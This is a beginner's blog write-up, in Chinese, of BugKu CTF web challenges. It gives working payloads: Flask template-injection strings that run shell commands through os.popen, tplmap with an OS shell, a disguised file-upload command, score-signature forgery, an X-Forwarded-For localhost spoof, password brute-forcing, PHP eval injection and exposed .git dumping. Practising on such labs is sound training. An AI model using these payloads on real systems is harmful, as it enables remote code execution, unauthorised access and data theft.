CTF BugKu平台—(Web篇①)

Simple_SSTI_1:

最近也是刚入门web 也是小白一枚 ,写点自己得做题思路和经验,有不好得地方也请大家反馈和监督。

首先先看一下源代码,这句话得意思是让我们传参flag 参数,F12 看源代码
在这里插入图片描述
在这里插入图片描述
提示我们flask 经常设置一个secret_key 变量

第一次做也不知道啥意思去了解一下pyhon得flask框架 轻量级得web框架

根据题目提示SSTL 知道这是一个模板注入

SECRET_KEY:是flask 一个重要得配置值 需要用这个来加密
/?flag={{config.SECRET_KEY}} (注意大小写)
在这里插入图片描述

Simple_SSTI_2:

和上面一样的 也是模板注入 试了刚刚得传参发现不行

##class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
##init 初始化类,返回的类型是function
##globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
##os.popen() 方法用于从一个命令打开一个管道。 ##open() 方法用于打开一个文件,并返回文件对象
https://www.cnblogs.com/xiaochaofang/p/14533709.html (上面的参数解释来源于这一篇)
看了一篇这个 理解了一下参数得意思 ls查看一下

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}

在这里插入图片描述
列出了很多 的文件夹 也不知道哪个里面有flag 一个一个试 运气好第一个app就是

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}

在这里插入图片描述
因为没有过滤直接cat ../app/flag

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

在这里插入图片描述
还有一种方法:这里使用 tplmap 工具 (支持python2)

git clone https://github.com/epinna/tplmap

使用方法:./tplmap.py -u <‘目标网址’> -os -shell选项与tplmap命令一起使用

列出文件夹 cat 文件夹直接可以 查看flag

Flask_FileUpload:

是一个上传点,F12有提示 关键字是只能上传 jpg 和 png 格式 ,

还有就是黄色字的提示(给我这个文件,我会用python把运行结果返回给你!)
在这里插入图片描述
新建一个txt 然后写入 一串python的操作系统调用命令 查看flag 后缀改为图片格式即可 。
在这里插入图片描述
在这里插入图片描述

滑稽:

直接F12 查看源代码 即可看到flag (就是有点费眼睛,滑稽=.=)
在这里插入图片描述

计算器:

直接F12查看源代码 然后修改 maxlength=“xx” 大于输出结果即可 随便改都可以 只要大于一就行。
在这里插入图片描述

GET:

通过url传入what的值,让其等于flag,直接构造url就得到flag。
在这里插入图片描述
在这里插入图片描述

POST:

在这里插入图片描述
在这里插入图片描述

矛盾:

在这里插入图片描述
在这里插入图片描述
即num既不能是数字字符,但是要等于1,我们可以想到用科学计数法表示数字1,既不是纯数字,其值又等于1因此
构造payload num=1*e*0.1

在这里插入图片描述

alert:

在这里插入图片描述
是一个弹窗 F12 找到一些线索,估计是编码,看了一下下面的评论知道是Unicode编码
在这里插入图片描述
http://tool.chinaz.com/tools/unicode.aspx?qq-pf-to=pcqq.group(Unicode码转ASCII码)
在这里插入图片描述

你必须让他停下:

发现是一个一直在闪的页面 使用bp 抓包 发送到requencer --send 随便点几下在 到10.jpg 发现了flag
在这里插入图片描述

game1:

就挺好玩的,玩个两盘热热身 开始做题了 ,咳咳 游戏结束先抓个包
在这里插入图片描述
在这里插入图片描述这里的sign显示是加密的。这里是zMNTA,这里我好几次都是zM开头的 ==结束的,查看源代码。

在这里插入图片描述
由此可得sign值由三个部分组成 zM +base64编码+==

score.php?score=999999&ip=223.91.4.87&sign=zMOTk5OTk5==

在这里插入图片描述

网站被黑:

使用御剑扫一下后台 有个shell.php 密码是 hack 弱口令
在这里插入图片描述
在这里插入图片描述

本地管理员:

在这里插入图片描述
F12 看源代码 有个base64 的 提示 就是登入的账号密码 提示 ip 禁止访问 使用bp抓个包 然后在包里面添加 X-Forwarded-For: 127.0.0.1

在这里插入图片描述

bp:

弱密码top1000?z??? 根据给的提示 bp抓包 进行暴力破解 进行长度判断 最后得到密码zxc123 然后登入 即可获取 flag 。
在这里插入图片描述
字典下载链接:http://www.yesck.com/down/TOP1000password.txt(百度找到,这种字典网上一大堆随便找)
在这里插入图片描述

eval:

在这里插入图片描述

<?php
    include "flag.php";				///include是将flag.php文件包含进页面代码
    $a = @$_REQUEST['hello'];		///$_REQUEST可以用于接受传递POST或GET
    eval( "var_dump($a);");			///eval函数可以把字符串当作php命令执行
    show_source(__FILE__);
?>

知道了这串代码啥意思我们就可以 写个payload 方法有很多种 做出来即可

ip/?hello=file('flag.php')

在这里插入图片描述

变量1:

在这里插入图片描述
虽然没有怎么学过php 大概看得懂 可以猜想 $ args很有可能是一个数组,想到会是超全局变量$GLOBALS

通过构造一个GET参数,直接传GET一个全局变量即可

?args=GLOBALS

在这里插入图片描述

头等舱:

在这里插入图片描述

确实什么都没有 bp抓包 send 即可
在这里插入图片描述

社工-伪造:

在这里插入图片描述

在这里插入图片描述

看了美女的空间,男朋友叫小bug??找不到 ,很烦 大概的意思只要是男朋友小bug 就会给flag(别说了我就是小美男朋友,滑稽=w=)
在这里插入图片描述
在这里插入图片描述

source:

在这里插入图片描述
F12看源代码 看到个 flag 是假的 挺像base64的 但是解码不出来,给的提示的linux
在这里插入图片描述
使用 dirb 看到和git 相关的 就下载下来 wget -r ip .git (提交了flag 再次开启要金币 所以就写一下命令 )

git reflog   # 记录使用的命令

在这里插入图片描述
git show 橙色字符串(id) 一个一个进去试即可(好像是第五个)
在这里插入图片描述
在这里插入图片描述
最后也是可能要忙着期末得考试之类的,当然了也会不定期得更新(也能在过年期间或者年后),也希望大家可以相互学习,自己(小白一枚 )也会花很多时间去学习和探索,做完这些也是get到新的知识,学习到 了很多新的知识,虽然付出了可能没有结果,但是花时间去学习是值得的。如果喜欢的话可以给我点点赞也是对我的一种鼓励,也希望大家每天开心😊!

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

落寞的魚丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值